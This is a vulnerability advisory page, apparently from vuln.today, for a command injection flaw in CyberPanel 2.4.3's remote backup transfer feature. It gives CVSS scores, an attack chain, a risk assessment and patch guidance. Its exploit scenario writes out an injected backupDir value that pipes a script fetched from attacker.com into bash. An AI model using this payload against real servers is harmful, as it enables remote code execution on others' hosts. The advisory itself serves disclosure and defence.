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CyberPanel EUVDEUVD-2026-55736

| CVE-2026-71966 HIGH
OS Command Injection (CWE-78)
2026-08-10 VulnCheck GHSA-hmw4-vv3v-9326
Command Injection Cyberpanel
8.7
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.9 CRITICAL

Network-exploitable by authenticated low-privilege user; OS command injection crosses into the underlying system scope (S:C), with full CIA impact on the host.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 10, 2026 - 19:46 vuln.today
Analysis Generated
Aug 10, 2026 - 19:46 vuln.today
CVE Published
Aug 10, 2026 - 18:53 cve.org
HIGH 8.7

DescriptionCVE.org

CyberPanel 2.4.3, fixed in commit eca0c3c, contains an authenticated command injection vulnerability in the remote backup transfer feature that allows authenticated attackers to execute arbitrary OS commands by controlling a remote server's API response. Attackers can inject malicious commands through a crafted directory name in the remote server's API response, which bypasses security middleware validation and is passed unsanitized to the OS command execution function.

AnalysisAI

Command injection in CyberPanel 2.4.3's remote backup transfer feature allows authenticated low-privileged users to execute arbitrary OS commands on the host by manipulating the API response of a remote backup server they control. The vulnerability exists in backupManager.py, where the backupDir value returned by the remote server is concatenated unsanitized into shell command strings, bypassing ACLManager middleware validation entirely. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to CyberPanel with low-privilege credentials
Delivery
Configure attacker-controlled server as remote backup destination
Exploit
Initiate remote backup transfer or restore operation
Execution
Attacker server returns crafted API response with shell-injected backupDir value
Persist
CyberPanel concatenates unsanitized backupDir into OS shell command
Impact
Arbitrary commands execute as CyberPanel process user on host
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Vulnerability AssessmentAI

Exploitation Exploitation requires a valid CyberPanel account with sufficient role permissions to configure and use the remote backup transfer feature (CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 8.7 with AV:N, AC:L, and PR:L accurately characterizes this as a serious but access-gated threat: exploitation requires valid CyberPanel credentials and the ability to point the backup feature at an attacker-controlled server. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a low-privilege CyberPanel account registers an attacker-controlled server as a remote backup destination, then triggers a remote backup transfer or restore operation. The attacker's server returns an API response where the backupDir field contains embedded shell metacharacters - for example, a value such as '1234; curl http://attacker.com/shell.sh | bash; #'. …
Remediation Upgrade CyberPanel to any build that includes commit eca0c3c or later, available at https://github.com/usmannasir/cyberpanel/commit/eca0c3cbeb35af8eaae9fafb094e8ef3cd923643. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Identify and isolate all CyberPanel 2.4.3 deployments; restrict remote access to the backup transfer API endpoints. …

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EUVD-2026-55736 vulnerability details – vuln.today
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